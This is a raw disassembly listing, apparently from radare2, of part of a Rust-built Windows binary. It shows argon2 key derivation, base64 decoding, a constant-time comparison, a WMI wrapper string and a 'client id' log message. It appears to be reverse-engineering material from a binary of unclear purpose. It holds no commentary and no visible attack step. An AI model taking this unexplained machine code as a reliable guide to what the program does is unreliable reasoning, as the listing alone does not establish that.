mov edx, dword [rsp + 0x270]
mov rcx, rbx
call fcn.1400123dd
mov rcx, rbx
mov rdx, qword [rsp + 0x60]
call fcn.1400123dd
mov edx, dword [rsp + 0x268]
mov rcx, rbx
call fcn.1400123dd
mov edx, dword [rsp + 0x26c]
mov rcx, rbx
call fcn.1400123dd
mov edx, dword [rsp + 0x288]
mov rcx, rbx
call fcn.1400123dd
movzx edx, byte [rsp + 0x28c]
mov rcx, rbx
call fcn.1400123dd
mov rcx, rbx
mov rdx, qword [rsp + 0xb8]
call fcn.1400123dd
mov rcx, rbx
mov rdx, qword [rsp + 0x128]
mov r8, qword [rsp + 0xb8]
call fcn.1400123fc
mov rcx, rbx
mov rdx, qword [rsp + 0x48]
call fcn.1400123dd
mov rcx, rbx
mov rdx, r15
mov r8, qword [rsp + 0x48]
call fcn.1400123fc
mov rsi, qword [rsp + 0x278]
test rsi, rsi
je 0x14000b91b
mov rdi, qword [rsp + 0x280]
lea rbx, [rsp + 0x980]
mov rcx, rbx
mov edx, edi
call fcn.1400123dd
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.1400123fc
jmp 0x14000b92d
lea rbx, [rsp + 0x980]
mov rcx, rbx
xor edx, edx
call fcn.1400123dd
lea rcx, [rsp + 0x240]
call fcn.140012672
mov rcx, rbx
call fcn.1400123dd
lea rcx, [rsp + 0x240]
call fcn.140012672
mov r8, rdx
mov rcx, rbx
mov rdx, rax
call fcn.1400123fc
mov r8d, 0xd0
lea rcx, [rsp + 0x400]
mov rdx, rbx
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x1340]
call fcn.14009c01d
lea rcx, [rsp + 0xf40]
call fcn.14009c01d
movzx edx, byte [rsp + 0x4c8]
add qword [rsp + 0x440], rdx
lea rcx, [rsp + 0x448]
lea r8, [0x14012ad10]
call fcn.140012557
mov qword [rsp + 0x118], r15
xor ecx, ecx
cmp rdx, rcx
je 0x14000b9c9
mov byte [rax + rcx], 0
inc rcx
jmp 0x14000b9bb
mov byte [rsp + 0x4c8], 0
lea rcx, [rsp + 0x400]
lea rdx, [rsp + 0x448]
lea r8, [rsp + 0xf40]
call fcn.140013862
mov r12, qword [rsp + 0x40]
mov r15, qword [rsp + 0x118]
movdqu xmm0, xmmword [rsp + 0xf40]
movups xmm1, xmmword [rsp + 0xf50]
movups xmm2, xmmword [rsp + 0xf60]
movups xmm3, xmmword [rsp + 0xf70]
movaps xmmword [rsp + 0x1370], xmm3
movdqa xmmword [rsp + 0x850], xmm0
movaps xmmword [rsp + 0x860], xmm1
movaps xmmword [rsp + 0x870], xmm2
movaps xmmword [rsp + 0x880], xmm3
mov ecx, dword [rsp + 0x268]
mov edx, dword [rsp + 0x270]
call fcn.1400126dd
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xa0]
mov bl, 6
cmp qword [rsp + 0xd0], r14
mov eax, 0
cmova rcx, rax
mov qword [rsp + 0x130], rcx
ja 0x14000bc73
mov ecx, dword [rsp + 0x268]
mov edx, dword [rsp + 0x270]
call fcn.140012699
mov qword [rsp + 0x128], rax
mov ecx, dword [rsp + 0x268]
mov eax, dword [rsp + 0x26c]
mov qword [rsp + 0x890], rax
mov edx, dword [rsp + 0x270]
call fcn.140012687
mov qword [rsp + 0xb8], rax
cmp qword [rsp + 0xb8], 0
je 0x14000d87d
mov eax, dword [rsp + 0x270]
mov qword [rsp + 0x8a0], rax
xor esi, esi
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
xor edx, edx
mov r8, qword [rsp + 0xb8]
div r8
mov r12, rcx
sub r12, rdx
mov rax, r8
shl rax, 0xa
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x48], rax
sub r12, r8
jb 0x14000c0fe
cmp r8, 1
je 0x14000d8e1
lea eax, [rsi + 1]
mov dword [rsp + 0xb0], eax
mov r15, qword [rsp + 0x48]
xor edi, edi
cmp rdi, 2
je 0x14000bc3e
mov dword [rsp + 0x1340], edi
mov dword [rsp + 0xf40], esi
lea rax, [rsp + 0x850]
mov qword [rsp + 0x980], rax
mov qword [rsp + 0x988], 0x40
lea rax, [rsp + 0x1340]
mov qword [rsp + 0x990], rax
push 4
pop rcx
mov qword [rsp + 0x998], rcx
lea rax, [rsp + 0xf40]
mov qword [rsp + 0x9a0], rax
mov qword [rsp + 0x9a8], rcx
mov r8d, 0x400
lea rbx, [rsp + 0x400]
mov rcx, rbx
xor edx, edx
call sub.msvcrt.dll_memset
mov r9d, 0x400
lea rcx, [rsp + 0x980]
push 3
pop rdx
mov r8, rbx
call fcn.140012804
mov ebx, eax
cmp al, 0x12
jne 0x14000bc66
inc rdi
mov eax, 0x400
lea rdx, [rsp + 0x400]
xor ecx, ecx
test rax, rax
je 0x14000bc32
push 8
pop r8
cmp rax, 8
cmovb r8, rax
jb 0x14000d851
cmp rcx, 0x80
je 0x14000cfbd
mov r9, qword [rdx]
add rdx, r8
sub rax, r8
mov qword [r15 + rcx*8], r9
inc rcx
jmp 0x14000bbfc
add r15, 0x400
jmp 0x14000bb4c
mov rax, qword [rsp + 0x48]
add rax, qword [rsp + 0x120]
mov qword [rsp + 0x48], rax
mov eax, dword [rsp + 0xb0]
mov esi, eax
mov r8, qword [rsp + 0xb8]
jmp 0x14000bb28
mov r12, qword [rsp + 0x40]
mov r15, qword [rsp + 0x118]
mov rcx, qword [rsp + 0xa0]
mov rdx, r13
call fcn.1400125c7
cmp bl, 0x12
je 0x14000bca9
lea rcx, [rsp + 0x400]
mov edx, ebx
call fcn.1400125ee
movzx ecx, byte [rsp + 0x400]
cmp rcx, 0xd
jne 0x14000c077
movzx eax, word [rsp + 0xdf4]
mov word [rsp + 0x20c], ax
mov eax, dword [rsp + 0xdf0]
mov dword [rsp + 0x208], eax
mov rax, qword [rsp + 0xdf6]
mov qword [rsp + 0xb0], rax
mov rsi, qword [rsp + 0xdfe]
lea rax, [rsp + 0xe06]
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x1a]
movdqa xmmword [rsp + 0x1910], xmm0
movaps xmmword [rsp + 0x1920], xmm1
movups xmmword [rsp + 0x192a], xmm2
movzx eax, byte [rsp + 0x28c]
lea rcx, [0x1401578f8]
mov rdi, qword [rcx + rax*8]
lea rcx, str.argon2dargon2iargon2id
mov rbx, qword [rcx + rax*8]
mov r14d, dword [rsp + 0x288]
movdqa xmmword [rsp + 0x470], xmm6
movdqa xmmword [rsp + 0x460], xmm6
movdqa xmmword [rsp + 0x450], xmm6
movdqa xmmword [rsp + 0x440], xmm6
movdqa xmmword [rsp + 0x430], xmm6
movdqa xmmword [rsp + 0x420], xmm6
movdqa xmmword [rsp + 0x410], xmm6
movdqa xmmword [rsp + 0x400], xmm6
mov r9d, dword [rsp + 0x268]
lea rcx, [rsp + 0xf40]
lea rdx, [rsp + 0x400]
lea r8, str.mtpkeyid_home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64_0.22.1_src_engine_general_purpose_decode_suffix.rs
call fcn.1400131f1
mov al, byte [rsp + 0xf40]
cmp al, 0xd
jne 0x14000c042
mov r9d, dword [rsp + 0x26c]
lea rcx, [rsp + 0xf40]
lea rdx, [rsp + 0x400]
lea r8, [0x14012ae29]
call fcn.1400131f1
mov al, byte [rsp + 0xf40]
cmp al, 0xd
jne 0x14000c042
mov r9d, dword [rsp + 0x270]
lea rcx, [rsp + 0xf40]
lea rdx, [rsp + 0x400]
lea r8, [0x14012ae2a]
call fcn.1400131f1
mov al, byte [rsp + 0xf40]
cmp al, 0xd
jne 0x14000c042
mov r8, qword [rsp + 0x238]
test r8, r8
je 0x14000be70
lea rcx, [rsp + 0x230]
push 8
pop rdx
lea r9, [0x14012ab90]
call fcn.1400d25bf
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0xf40]
lea rdx, [rsp + 0x400]
lea r8, [0x14012ae2b]
push 5
pop r9
call fcn.1400133f6
mov al, byte [rsp + 0xf40]
cmp al, 0xd
jne 0x14000c042
cmp qword [rsp + 0x260], 0
je 0x14000bec1
lea rcx, [rsp + 0x240]
call fcn.140012672
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0xf40]
lea rdx, [rsp + 0x400]
lea r8, str.data
push 4
pop r9
call fcn.1400133f6
mov al, byte [rsp + 0xf40]
cmp al, 0xd
jne 0x14000c042
mov eax, dword [rsp + 0x400]
mov ecx, dword [rsp + 0x403]
lea rdx, [rsp + 0x328]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
movdqu xmm10, xmmword [rsp + 0x407]
mov qword [rsp + 0x118], r15
lea r15, [rsp + 0x980]
mov rcx, r15
lea rdx, [rsp + 0x417]
push 0x69
pop r13
mov r8, r13
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x33f]
mov rdx, r15
mov r15, qword [rsp + 0x118]
mov r8, r13
call sub.msvcrt.dll_memcpy
mov byte [rsp + 0x3b8], 0
movzx eax, word [rsp + 0x20c]
mov rcx, qword [rsp + 0xee0]
mov word [rcx + 4], ax
mov eax, dword [rsp + 0x208]
mov dword [rcx], eax
movups xmm0, xmmword [rsp + 0x192a]
mov rax, qword [rsp + 0xed8]
movups xmmword [rax + 0x1a], xmm0
movdqa xmm0, xmmword [rsp + 0x1910]
movaps xmm1, xmmword [rsp + 0x1920]
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov rax, qword [rsp + 0xd8]
mov byte [rsp + 0x3f9], al
mov dword [rsp + 0x310], 1
mov dword [rsp + 0x314], r14d
mov qword [rsp + 0x318], rbx
mov qword [rsp + 0x320], rdi
movdqu xmmword [rsp + 0x32f], xmm10
mov qword [rsp + 0x3a8], r12
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x3b0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x3bf], rax
mov qword [rsp + 0x3c7], rsi
mov rcx, qword [rsp + 0xee8]
call fcn.14004f310
mov rsi, rax
mov rdi, rdx
mov rcx, qword [rsp + 0xef0]
call fcn.14004f310
xor r14d, r14d
cmp rdi, rdx
jne 0x14000c0ae
mov rbx, rax
mov r14b, 1
xor eax, eax
cmp rdi, rax
je 0x14000c0a6
lea r15, [rax + 1]
mov dl, byte [rbx + rax]
xor dl, byte [rsi + rax]
mov ecx, edx
neg cl
or cl, dl
not cl
shr cl, 7
call fcn.1400c515d
and r14b, al
mov rax, r15
jmp 0x14000c017
movzx ecx, byte [rsp + 0xf47]
shl ecx, 0x10
movzx edx, word [rsp + 0xf45]
or edx, ecx
shl rdx, 0x20
mov ecx, dword [rsp + 0xf41]
or rcx, rdx
shl rcx, 8
movzx eax, al
or rax, rcx
mov rcx, r15
jmp 0x14000b57d
movzx eax, byte [rsp + 0x407]
shl eax, 0x10
movzx edx, word [rsp + 0x405]
or edx, eax
shl rdx, 0x20
mov eax, dword [rsp + 0x401]
or rax, rdx
shl rax, 8
or rax, rcx
jmp 0x14000b572
mov r15, qword [rsp + 0x118]
mov ecx, r14d
call fcn.1400c515d
test al, al
je 0x14000b13b
mov qword [rsp + 0x48], r15
mov r14, qword [rsp + 0x70]
mov r15, qword [rsp + 0x68]
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x50], rax
mov rsi, qword [rsp + 0x2f8]
push 1
pop rcx
xor edx, edx
call fcn.1400f09e1
jmp 0x140008caf
movzx eax, byte [rsp + 0x28c]
mov qword [rsp + 0x2a0], rax
mov rcx, r8
mov rax, qword [rsp + 0x128]
sub rcx, rax
mov qword [rsp + 0xe78], rcx
not rax
add rax, r8
mov qword [rsp + 0xe70], rax
mov eax, dword [rsp + 0x288]
mov dword [rsp + 0x304], eax
lea rax, [r8 - 1]
mov qword [rsp + 0xe48], rax
xor eax, eax
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0xf0]
cmp rax, qword [rsp + 0x890]
je 0x14000c629
cmp dword [rsp + 0x304], 0x10
sete al
mov rcx, qword [rsp + 0xf0]
lea rdx, [rcx + 1]
mov qword [rsp + 0xe38], rdx
test rcx, rcx
sete cl
or cl, al
mov byte [rsp + 0x96], cl
xor eax, eax
mov qword [rsp + 0x298], rax
xor eax, eax
mov qword [rsp + 0x110], rax
cmp qword [rsp + 0x110], 4
je 0x14000c61c
mov byte [rsp + 0x120], 1
cmp dword [rsp + 0x2a0], 1
je 0x14000c1fd
cmp qword [rsp + 0xf0], 0
sete al
cmp dword [rsp + 0x2a0], 2
sete cl
cmp qword [rsp + 0x110], 2
setb dl
and dl, cl
and dl, al
mov byte [rsp + 0x120], dl
mov r9, qword [rsp + 0x110]
lea r10, [r9 + 1]
mov al, byte [rsp + 0x120]
xor al, 1
xor edx, edx
mov rcx, r9
mov r8, qword [rsp + 0xf0]
or rcx, r8
mov qword [rsp + 0xe88], rcx
sete dl
setne r11b
push 0xffffffffffffffff
pop rcx
cmovne rcx, qword [rsp + 0xe48]
or r11b, al
mov byte [rsp + 0x95], r11b
add rdx, rdx
mov qword [rsp + 0xe58], rdx
mov r11, r9
mov rdx, qword [rsp + 0x128]
imul r11, rdx
mov rax, r9
neg rax
mov eax, 0
sbb rax, rax
or rax, rcx
mov qword [rsp + 0xe50], rax
mov qword [rsp + 0x898], r11
lea rax, [r11 - 1]
mov qword [rsp + 0xe68], rax
mov qword [rsp + 0xe40], r10
imul r10, rdx
cmp r9, 3
mov eax, 0
cmove r10, rax
test r8, r8
cmove r10, r8
mov qword [rsp + 0xe80], r10
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0xb0], rax
xor eax, eax
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
cmp rax, qword [rsp + 0x8a0]
je 0x14000c5f7
mov r8d, 0x400
lea rcx, [rsp + 0x1340]
xor edx, edx
call sub.msvcrt.dll_memset
mov r8d, 0x400
lea rcx, [rsp + 0xf40]
xor edx, edx
call sub.msvcrt.dll_memset
mov r8d, 0x400
lea rcx, [rsp + 0x980]
xor edx, edx
call sub.msvcrt.dll_memset
cmp byte [rsp + 0x120], 0
je 0x14000c387
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0xf40], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0xf48], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xf50], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0xf58], rax
mov rax, qword [rsp + 0x890]
mov qword [rsp + 0xf60], rax
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0xf68], rax
mov rsi, qword [rsp + 0xe58]
cmp byte [rsp + 0x95], 0
jne 0x14000c3b9
lea rcx, [rsp + 0x1340]
lea rdx, [rsp + 0xf40]
lea r8, [rsp + 0x980]
call fcn.140010d67
push 2
pop rsi
mov rax, qword [rsp + 0x48]
lea rcx, [rax + 1]
mov qword [rsp + 0xe60], rcx
mov rcx, rax
mov r9, qword [rsp + 0xb8]
imul rcx, r9
add rcx, qword [rsp + 0x898]
add rcx, rsi
mov rax, qword [rsp + 0xe50]
mov qword [rsp + 0x8a8], rcx
lea r15, [rax + rcx]
mov rax, qword [rsp + 0xb0]
lea rdi, [rsi + rax]
shl rdi, 0xa
add rdi, qword [rsp + 0x130]
mov r12, qword [rsp + 0xd0]
cmp rsi, qword [rsp + 0x128]
jae 0x14000c5e2
cmp byte [rsp + 0x120], 0
je 0x14000c46a
mov rbx, rsi
and rbx, 0x7f
jne 0x14000c45e
cmp r15, r12
jae 0x14000d5fe
add qword [rsp + 0xb0], r9
mov rax, qword [rsp + 0xe60]
jmp 0x14000c2c9
mov rax, qword [rsp + 0x298]
add rax, qword [rsp + 0x128]
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0xe40]
jmp 0x14000c1a6
mov rax, qword [rsp + 0xe38]
jmp 0x14000c14e
mov ecx, dword [rsp + 0x268]
mov edx, dword [rsp + 0x270]
call fcn.140012687
mov r12, rax
lea r15, [rax - 1]
cmp r15, r14
jae 0x14000d8f5
shl r15, 0xa
mov rsi, qword [rsp + 0xa0]
add r15, rsi
mov r8d, 0x400
lea rcx, [rsp + 0x980]
mov rdx, r15
call sub.msvcrt.dll_memcpy
mov eax, dword [rsp + 0x270]
mov qword [rsp + 0x48], rax
lea r15, [r12*2 - 1]
mov rax, r12
shl rax, 0xb
lea rdi, [rsi + rax]
add rdi, 0xfffffffffffffc00
mov rsi, r12
shl rsi, 0xa
push 1
pop rbx
cmp rbx, qword [rsp + 0x48]
jae 0x14000c6cc
cmp r15, r14
jae 0x14000d8b9
inc rbx
lea rcx, [rsp + 0x980]
mov rdx, rdi
call fcn.140013502
add r15, r12
add rdi, rsi
jmp 0x14000c6a1
mov esi, 0x400
mov r8d, 0x400
lea rcx, [rsp + 0x400]
xor edx, edx
call sub.msvcrt.dll_memset
xor edi, edi
test rsi, rsi
je 0x14000c73a
lea rcx, [rsp + rdi]
add rcx, 0x400
cmp rsi, 8
push 8
pop r9
mov rdx, r9
cmovb rdx, rsi
mov rax, qword [rsp + rdi + 0x980]
mov qword [rsp + 0xf40], rax
lea rax, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_argon2_0.5.3_src_lib.rs
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0xf40]
call fcn.1400c5168
add rsi, 0xfffffffffffffff8
add rdi, 8
jmp 0x14000c6e8
lea rax, [rsp + 0x400]
mov qword [rsp + 0xf40], rax
mov qword [rsp + 0xf48], 0x400
lea rcx, [rsp + 0xf40]
push 1
pop rdx
mov r8, qword [rsp + 0x210]
mov r9, qword [rsp + 0x60]
call fcn.140012804
mov r12, qword [rsp + 0x40]
mov r15, qword [rsp + 0x118]
mov ebx, eax
jmp 0x14000bc73
add rcx, rdx
lea r8, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
push 4
pop rdx
call fcn.140019dd0
jmp 0x14000d8f3
mov r12, qword [rsp + 0x1348]
mov r15, qword [rsp + 0x1350]
lea rbx, [rsp + 0x400]
mov rcx, rbx
mov rdx, rdi
mov r8, r15
call fcn.14001fd60
cmp qword [rbx], 0
je 0x14000c7fe
mov rax, qword [rsp + 0x408]
mov cl, byte [rsp + 0x410]
mov edx, dword [rsp + 0x411]
mov dword [rsp + 0x980], edx
mov edx, dword [rsp + 0x414]
mov dword [rsp + 0x983], edx
cmp cl, 2
jne 0x14000d67c
lea rbx, [rsp + 0x980]
mov rcx, rbx
mov rdx, rdi
mov r8, r15
mov qword [rsp + 0x78], r12
call fcn.1400456ae
mov qword [rsp + 0x220], rbx
lea rax, [rsp + 0x220]
mov qword [rsp + 0x1340], rax
lea rax, str.Obtained_client_id
lea rdx, [rsp + 0x400]
mov qword [rdx], rax
push 1
pop rax
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rcx, [0x1400453ec]
mov qword [rsp + 0x1348], rcx
lea rcx, [rsp + 0x1340]
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], rax
lea rcx, [rsp + 0xf40]
call fcn.140002919
mov rcx, qword [rsp + 0x980]
mov rdx, qword [rsp + 0x988]
call fcn.1400f09e1
mov rbx, qword [rsp + 0xf40]
mov r12, qword [rsp + 0xf48]
mov r9, qword [rsp + 0xf50]
lea rcx, [0x140156e9b]
push 4
pop rdx
mov r8, rbx
call fcn.14000f1e4
mov rcx, rbx
mov rdx, r12
call fcn.1400f09e1
mov rax, qword [rsp + 0xf08]
mov qword [rax], rdi
mov rcx, qword [rsp + 0x78]
mov qword [rax + 8], rcx
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rsi
mov rcx, qword [rsp + 0x148]
mov qword [rax + 0x20], rcx
mov qword [rax + 0x28], 0x20
mov rcx, qword [rsp + 0x310]
mov rdx, qword [rsp + 0x318]
call fcn.1400f09e1
mov rcx, r13
mov rdx, r14
call fcn.1400f09e1
mov rcx, qword [rsp + 0x1820]
mov rdx, qword [rsp + 0x1828]
call fcn.1400f09e1
mov rcx, qword [rsp + 0x168]
mov rdx, qword [rsp + 0x170]
call fcn.1400f09e1
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x50]
call fcn.1400f09e1
mov rcx, qword [rsp + 0x968]
mov rdx, qword [rsp + 0x970]
call fcn.1400f09e1
mov rcx, qword [rsp + 0x950]
mov rdx, qword [rsp + 0x958]
call fcn.1400f09e1
lea rcx, [rsp + 0xdd0]
call fcn.14000186b
mov rcx, qword [rsp + 0x820]
mov rdx, qword [rsp + 0x828]
call fcn.1400f09e1
mov rcx, qword [rsp + 0x838]
mov rdx, qword [rsp + 0x840]
call fcn.1400f09e1
mov rcx, qword [rsp + 0x938]
mov rdx, qword [rsp + 0x940]
call fcn.1400f09e1
lea rcx, [rsp + 0x17c0]
call fcn.1400017fb
mov rcx, qword [rsp + 0x1f0]
call fcn.14005343f
mov rcx, qword [rsp + 0x158]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400f09e1
mov rcx, qword [rsp + 0x140]
mov rdx, qword [rsp + 0x1e8]
call fcn.1400f09e1
mov rcx, qword [rsp + 0x930]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0xdb8]
mov rdx, qword [rsp + 0xdc0]
call fcn.1400f09e1
mov rcx, qword [rsp + 0xda0]
mov rdx, qword [rsp + 0xda8]
call fcn.1400f09e1
mov rcx, qword [rsp + 0xd88]
mov rdx, qword [rsp + 0xd90]
call fcn.1400f09e1
mov rcx, qword [rsp + 0x2c8]
mov rdx, qword [rsp + 0x8f0]
call fcn.1400f09e1
mov rcx, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0x2b8]
call fcn.1400f09e1
mov rcx, qword [rsp + 0x160]
mov rax, qword [rcx]
call qword [rax + 0x10]
movaps xmm6, xmmword [rbp + 0x18c0]
movaps xmm7, xmmword [rbp + 0x18d0]
movaps xmm8, xmmword [rbp + 0x18e0]
movaps xmm9, xmmword [rbp + 0x18f0]
movaps xmm10, xmmword [rbp + 0x1900]
movaps xmm11, xmmword [rbp + 0x1910]
movaps xmm12, xmmword [rbp + 0x1920]
lea rsp, [rbp + 0x1938]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
and r14, 0xffffffffffffff00
or r14, 8
jmp 0x14000caf1
mov rdx, r15
push 6
pop r14
jmp 0x14000cb01
push 4
pop r14
mov rdx, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x80]
mov qword [rsp + 0x408], r14
mov qword [rsp + 0x410], rbx
mov qword [rsp + 0x418], rdx
jmp 0x14000cb33
mov r13b, byte [rsp + 0x320]
mov byte [rsp + 0x408], 0
mov byte [rsp + 0x409], r13b
mov qword [rsp + 0x400], 2
lea rcx, [rsp + 0x988]
lea rdx, [rsp + 0x408]
call fcn.14005054e
mov rsi, qword [rsp + 0x988]
mov rax, qword [rsp + 0x990]
mov qword [rsp + 0x138], rax
mov rcx, qword [rsp + 0x998]
mov rdi, rsi
shr rdi, 8
shl rdi, 8
movzx r14d, sil
or r14, rdi
push 4
pop r15
xor ebx, ebx
push 0xe
pop rdi
lea r8, [rsp + 0x400]
mov qword [r8], r15
mov dword [r8 + 8], ebx
mov dword [r8 + 0xc], r13d
mov qword [r8 + 0x10], rdi
mov qword [r8 + 0x18], r14
mov rax, qword [rsp + 0x138]
mov qword [r8 + 0x20], rax
mov qword [r8 + 0x28], rcx
mov qword [r8 + 0x30], r12
mov qword [r8 + 0x38], rdx
lea rax, [0x14012a0e8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140128ba0]
push 0x2b
pop rdx
call fcn.140020f20
jmp 0x14000d8f3
and r14, 0xffffffffffffff00
or r14, 7
jmp 0x14000caf1
lea r8, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
push 3
pop rdx
call fcn.140019d50
jmp 0x14000d8f3
mov r13b, 1
jmp 0x14000cb23
and r14, 0xffffffffffffff00
or r14, 7
xor ebx, ebx
jmp 0x14000cb01
and r14, 0xffffffffffffff00
or r14, 8
xor ebx, ebx
jmp 0x14000cb01
mov eax, dword [rsp + 0x404]
mov qword [rsp + 0x40], rax
mov rdi, qword [rsp + 0x408]
mov r14, qword [rsp + 0x410]
mov rax, qword [rsp + 0x418]
mov qword [rsp + 0x138], rax
mov rsi, qword [rsp + 0x420]
mov r12, qword [rsp + 0x428]
mov rax, qword [rsp + 0x430]
mov qword [rsp + 0x60], rax
movabs r15, 0xffffffff00000000
and r15, rsi
jmp 0x14000cde9
lea rax, [rsp + 0x438]
movdqu xmm0, xmmword [rax - 0x2c]
movups xmm1, xmmword [rax - 0x1c]
movups xmm2, xmmword [rax - 0x10]
lea rax, [rsp + 0x988]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x14], xmm1
movdqu xmmword [rax + 4], xmm0
mov qword [rsp + 0x984], rsi
jmp 0x14000cd28
lea rdx, [rsp + 0x438]
mov al, byte [rdx - 0x32]
lea rcx, [rsp + 0x988]
mov byte [rcx - 2], al
movzx eax, word [rdx - 0x34]
mov word [rcx - 4], ax
mov al, byte [rdx - 1]
mov byte [rcx + 0x2f], al
movdqu xmm0, xmmword [rdx - 0x31]
movups xmm1, xmmword [rdx - 0x21]
movups xmm2, xmmword [rdx - 0x11]
movups xmmword [rcx + 0x1f], xmm2
movups xmmword [rcx + 0xf], xmm1
movdqu xmmword [rcx - 1], xmm0
jmp 0x14000cd28
mov dword [rsp + 0x150], r8d
mov byte [rsp + 0x988], 0xc
mov eax, dword [rsp + 0x150]
mov dword [rsp + 0x984], eax
xor ebx, ebx
mov eax, dword [rsp + 0x984]
mov qword [rsp + 0x40], rax
mov rdi, qword [rsp + 0x988]
mov r14, qword [rsp + 0x990]
mov rax, qword [rsp + 0x998]
mov qword [rsp + 0x138], rax
mov rsi, qword [rsp + 0x9a0]
movabs r15, 0xffffffff00000000
and r15, rsi
mov r12, qword [rsp + 0x9a8]
mov rax, qword [rsp + 0x9b0]
mov qword [rsp + 0x60], rax
jmp 0x14000cde9
push 1
pop rbx
push 1
pop rdi
xor r15d, r15d
xor esi, esi
jmp 0x14000cda7
xor r15d, r15d
sub r14d, eax
cmovb r14d, r15d
mov rdi, rax
shl rdi, 0x20
or rdi, 0x15
push 1
pop rbx
xor esi, esi
mov qword [rsp + 0x40], rax
jmp 0x14000cde9
shl r14, 0x20
mov rdi, r14
jmp 0x14000cdde
mov rcx, r13
mov rdx, qword [rsp + 0x100]
call fcn.1400f09e1
push 4
pop r15
xor ebx, ebx
push 0xe
pop rcx
push 9
pop r14
mov rdi, rcx
jmp 0x14000cb8f
xor edi, edi
or rdi, 0xc
xor r15d, r15d
xor esi, esi
xor ebx, ebx
mov rcx, r13
mov rdx, qword [rsp + 0x100]
call fcn.140030983
mov ecx, esi
or rcx, r15
push 4
pop r15
mov r13, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x60]
jmp 0x14000cb8f
mov qword [rsp + 0x138], r13
mov r13, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
mov r12, qword [rsp + 0xe8]
jmp 0x14000ce07
movzx eax, byte [rsp + 0x987]
shl eax, 0x10
movzx ecx, word [rsp + 0x985]
or ecx, eax
shl rcx, 0x20
mov edi, dword [rsp + 0x981]
or rdi, rcx
mov rax, qword [rsp + 0x988]
mov qword [rsp + 0x138], rax
mov rbx, qword [rsp + 0x990]
mov rcx, r13
mov rdx, r14
call fcn.140030983
mov rcx, rbx
jmp 0x14000cb7b
mov r13b, byte [rsp + 0x318]
jmp 0x14000cb23
lea rcx, str.assertion_failed:_mid___self.len__
lea r8, [0x14015a278]
push 0x23
pop rdx
call fcn.14001b4b0
jmp 0x14000d8f3
lea r8, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_itertools_0.13.0_src_permutations.rs
mov rcx, rdi
call fcn.14001ac80
jmp 0x14000d8f3
lea rcx, str.called__Option::unwrap____on_a__None__valueIWbemClassWrapperinner
lea r8, [0x140129ef8]
push 0x2b
pop rdx
call fcn.14001b4b0
jmp 0x14000d8f3
lea rax, str.capacity_overflow
lea rcx, [rsp + 0x400]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str.invalid_type:___expected
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea rdx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_src_vec_spec_from_iter_nested.rs
call fcn.140019ac0
jmp 0x14000d8f3
lea rax, str.capacity_overflow
lea rcx, [rsp + 0x400]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str.invalid_type:___expected
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea rdx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_src_vecmod.rs
call fcn.140019ac0
jmp 0x14000d8f3
lea rax, [0x140183c00]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadlocal.rs
lea r9, [0x1401578c0]
push 0x46
pop rdx
lea r8, [rsp + 0x97]
call fcn.140020f20
jmp 0x14000d8f3
lea rax, [0x14012a1a0]
mov qword [rsp + 0x20], rax
push 0x20
pop r9
mov rcx, rbx
mov rdx, rsi
xor r8d, r8d
call fcn.1400244a0
jmp 0x14000d8f3
